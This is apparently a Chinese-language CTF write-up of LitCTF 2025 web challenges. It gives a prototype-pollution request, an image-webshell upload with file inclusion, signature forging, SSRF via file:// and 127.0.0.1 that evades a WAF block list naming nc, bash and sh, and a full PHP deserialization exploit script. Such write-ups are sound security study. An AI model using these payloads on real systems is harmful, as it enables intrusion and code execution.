多重宇宙日记
直接将isAdmin属性污染为true即可看到管理员面板
payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| POST /api/profile/update HTTP/1.1 Host: node6.anna.nssctf.cn:21396 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0 Accept: */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Referer: http://node6.anna.nssctf.cn:21396/api/profile Content-Type: application/json Content-Length: 81 Origin: http://node6.anna.nssctf.cn:21396 Connection: close Cookie: connect.sid=s%3ACtewAuMzvsQlrpFde6TSCJip6jv0fCtY.STGeEXBPKbSz0qqpBD0pOEZCaY5PcqCCw4BYUwHzjBY Priority: u=0
{ "settings":{ "theme":"1", "language":"1", "__proto__":{ "isAdmin":true } } }
|
easy_file
只能上传jpg
先传一个图片木马,然后在admin.php中用file参数包含即可
easy_signin
使用X-sign校验签名,直接根据前端的js代码自己生成签名即可
1 2 3 4 5 6
| const shortMd5User = '21232f'; const shortMd5Pass = '019202'; const timestamp = '1748258425996'; const secretKey = 'easy_signin'; const sign = CryptoJS.MD5(shortMd5User + shortMd5Pass + timestamp + secretKey).toString(); console.log(sign);
|
去到dashboard,提示有/var/www/html/backup/8e0132966053d4bf8b2dbe4ede25502b.php
首页源代码中有api.js,访问之后给了一个路由/api/sys/urlcode.php?url=
那么通过/api/sys/urlcode.php?url=file:///var/www/html/backup/8e0132966053d4bf8b2dbe4ede25502b.php拿到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| ?php if ($_SERVER['REMOTE_ADDR'] == '127.0.0.1') { highlight_file(__FILE__);
$name="waf"; $name = $_GET['name'];
if (preg_match('/\b(nc|bash|sh)\b/i', $name)) { echo "waf!!"; exit; }
if (preg_match('/more|less|head|sort/', $name)) { echo "waf"; exit; }
if (preg_match('/tail|sed|cut|awk|strings|od|ping/', $name)) { echo "waf!"; exit; }
exec($name, $output, $return_var); echo "执行结果:\n"; print_r($output); echo "\n返回码:$return_var"; } else { echo("非本地用户"); } ?
|
注意到必须是本地请求,那么可以通过/api/sys/urlcode.php?url=这个接口打SSRF
/api/sys/urlcode.php?url=http://127.0.0.1/backup/8e0132966053d4bf8b2dbe4ede25502b.php?name=ls${IFS}../
发现327a6c4304ad5938eaf0efb6cc3e53dc.php,访问即可得到flag
君の名は
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| <?php highlight_file(__FILE__); error_reporting(0); create_function("", 'die(`/readflag`);'); class Taki { private $musubi; private $magic; public function __unserialize(array $data) { $this->musubi = $data['musubi']; $this->magic = $data['magic']; return ($this->musubi)(); } public function __call($func,$args){ (new $args[0]($args[1]))->{$this->magic}(); } }
class Mitsuha { private $memory; private $thread; public function __invoke() { return $this->memory.$this->thread; } }
class KatawareDoki { private $soul; private $kuchikamizake; private $name;
public function __toString() { ($this->soul)->flag($this->kuchikamizake,$this->name); return "call error!no flag!"; } }
$Litctf2025 = $_POST['Litctf2025']; if(!preg_match("/^[Oa]:[\d]+/i", $Litctf2025)){ unserialize($Litctf2025); }else{ echo "把O改成C不就行了吗,笨蛋!~(∠・ω< )⌒☆"; }
|
把O改成C这边可以这样
1 2 3 4
| ArrayObject::unserialize ArrayIterator::unserialize RecursiveArrayIterator::unserialize SplObjectStorage::unserialize
|
1 2 3 4 5
| 就是在最后$b = array("PusTR"=>$c)
(创建一个关联数组,将对象 $c 放入数组中并赋予键名为 "PusTR"。这个数组随后被用来创建一个 ArrayObject 对象 $b,并被序列化输出,这里的键名随意,后面对象为前面反序列化对象)
$a = new ArrayObject($b);
|
回归源码:
先看开头的:
1
| create_function("", 'die(`/readflag`);');
|
创建了一个匿名函数然后执行/readflag,所以这里我们需要调用这个匿名函数就可以输出flag
而匿名函数名字可以直接输出:
1 2 3
| <?php $a = create_function("","die(` /readflag`);"); var_dump($a);
|
但是这边注意,每次刷新匿名函数的名字都会变,所以需要打开网站的第一次输入
知道了匿名函数的名字之后,我们还需要知道什么原生类可以调用匿名函数,又往下看:
1 2 3
| public function __call($func,$args){ (new $args[0]($args[1]))->{$this->magic}(); }
|
这边只有函数名是可控的,就是说需要调用一个无参函数
而ReflectionFunction的invoke方法可以调用函数,且无参

再往下看:
1 2 3 4 5 6 7 8 9
| public function __call($func,$args){ (new $args[0]($args[1]))->{$this->magic}(); }
public function __toString(){ ($this->soul)->flag($this->kuchikamizake,$this->name); return "call error!no flag!"; }
|
分析完就很清晰了:
exp.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| <?php class Taki { public $musubi; public $magic = "invoke"; }
class Mitsuha { public $memory; public $thread; }
class KatawareDoki { public $soul; public $kuchikamizake = "ReflectionFunction"; public $name = "\000lambda_1"; }
$a = new Taki(); $b = new Mitsuha(); $c = new KatawareDoki();
$a -> musubi = $b; $b -> thread = $c; $c -> soul = $a;
$d = array("PusTR"=>$a); $e = new ArrayObject($d);
echo urlencode(serialize($e));
?>
|